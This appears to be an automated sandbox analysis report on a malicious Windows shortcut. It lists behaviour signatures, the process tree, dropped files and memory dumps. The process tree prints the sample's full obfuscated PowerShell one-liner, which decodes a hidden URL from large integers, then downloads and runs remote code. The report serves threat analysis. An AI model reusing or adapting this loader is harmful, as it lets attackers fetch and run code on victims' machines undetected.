Analysis
- max time kernel
39s - max time network
41s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 09:24
General
- Target photov_435787845227.lnk
- Size 1KB
- Sample260727-ldcqcsac26
- SHA256 a15361871502487bc35d680bcf1e2654f018bf47676d182a4d21608406465f9d
Malware Config
Signatures
- Badlisted process makes network request 10 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 22 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_435787845227.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -c "$rom4ss=60;$esx5qw=19;$yzejnozb=54;$jk54k=[bigint]::Parse('979579148522688738480134779269288713880897749066086');$sf54irg=[bigint]::Parse('979579148522531570792994366270195163712491624116719');$jk54k=$jk54k-$sf54irg;$n6p5ukygg=@();while($jk54k -gt 0){$n6p5ukygg+=[char][int]([bigint]::Remainder($jk54k,256));$jk54k=[bigint]::Divide($jk54k,256)};.([scriptblock]::Create((irm(-join$n6p5ukygg))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "$rom4ss=60;$esx5qw=19;$yzejnozb=54;$jk54k=[bigint]::Parse('979579148522688738480134779269288713880897749066086');$sf54irg=[bigint]::Parse('979579148522531570792994366270195163712491624116719');$jk54k=$jk54k-$sf54irg;$n6p5ukygg=@();while($jk54k -gt 0){$n6p5ukygg+=[char][int]([bigint]::Remainder($jk54k,256));$jk54k=[bigint]::Divide($jk54k,256)};.([scriptblock]::Create((irm(-join$n6p5ukygg))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\git.exe"C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\git.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\git.exe"C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\git.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\GitWinx86\git.exe"C:\ProgramData\GitWinx86\git.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
msvcp140.dll
ucrtbase.dll
swgwegps0_qfah_ptatl.zip
VCRUNTIME140.dll
VCRUNTIME140_1.dll
git.exe
libiconv-2.dll
libintl-8.dll
libpcre2-8-0.dll
libwinpthread-1.dll
zlib1.dll
DCRCVDrv.sys
memory/1720-138-0x0000000000010000-0x000000000003D000-memory.dmp
memory/1848-232-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-220-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-234-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-236-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-238-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-240-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-242-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-248-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-250-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-252-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-254-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-256-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-258-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-260-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-262-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-264-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-230-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-266-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-228-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-226-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-222-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-174-0x00000000055B0000-0x00000000055DC000-memory.dmp
memory/1848-218-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-216-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-268-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-214-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-282-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-272-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-270-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-246-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-244-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-224-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-274-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-277-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-278-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-280-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-284-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-286-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-288-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-290-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-292-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-294-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-296-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/1848-298-0x00000000055B0000-0x00000000055D6000-memory.dmp
memory/2796-173-0x0000000002C30000-0x0000000002C4A000-memory.dmp
memory/2796-176-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-192-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-2055-0x0000000006900000-0x0000000006EBA000-memory.dmp
memory/2796-2054-0x00000000062A0000-0x0000000006332000-memory.dmp
memory/2796-2053-0x0000000005770000-0x00000000057D6000-memory.dmp
memory/2796-175-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-178-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-180-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-190-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-188-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-186-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-185-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-182-0x0000000002C60000-0x0000000002C86000-memory.dmp
memory/2796-161-0x0000000000400000-0x0000000000470000-memory.dmp
memory/3904-164-0x00007FFBE23E0000-0x00007FFBE2432000-memory.dmp
memory/3904-163-0x00007FFBD93B0000-0x00007FFBD94CF000-memory.dmp
memory/3904-166-0x00007FFBD9B10000-0x00007FFBD9BC6000-memory.dmp
memory/3904-162-0x00007FF66DD80000-0x00007FF66E1EF000-memory.dmp
memory/3904-165-0x00007FFBE6FF0000-0x00007FFBE7016000-memory.dmp
memory/4160-133-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-9-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-28-0x000001F4330D0000-0x000001F4335F8000-memory.dmp
memory/4160-26-0x000001F432430000-0x000001F43245A000-memory.dmp
memory/4160-27-0x000001F432430000-0x000001F432454000-memory.dmp
memory/4160-25-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-24-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-23-0x000001F4323F0000-0x000001F4323FA000-memory.dmp
memory/4160-22-0x000001F432900000-0x000001F4329B2000-memory.dmp
memory/4160-21-0x000001F4323D0000-0x000001F4323EE000-memory.dmp
memory/4160-18-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-17-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-16-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-15-0x000001F4329D0000-0x000001F432B92000-memory.dmp
memory/4160-14-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-13-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-12-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-11-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-10-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-29-0x000001F432410000-0x000001F43241A000-memory.dmp
memory/4160-8-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-31-0x000001F432440000-0x000001F432452000-memory.dmp
memory/4160-35-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-67-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-69-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-91-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-0-0x00007FFBE067F000-0x00007FFBE0680000-memory.dmp
memory/4160-7-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-6-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-2-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4160-5-0x000001F41A2E0000-0x000001F41A302000-memory.dmp
memory/4160-1-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp
memory/4516-168-0x00007FF66DD80000-0x00007FF66E1EF000-memory.dmp
memory/4516-169-0x00007FFBD93B0000-0x00007FFBD94CF000-memory.dmp
memory/4516-171-0x00007FFBD9B10000-0x00007FFBD9BC6000-memory.dmp
memory/4516-172-0x00007FFBE6FF0000-0x00007FFBE7016000-memory.dmp
memory/4516-170-0x00007FFBE23E0000-0x00007FFBE2432000-memory.dmp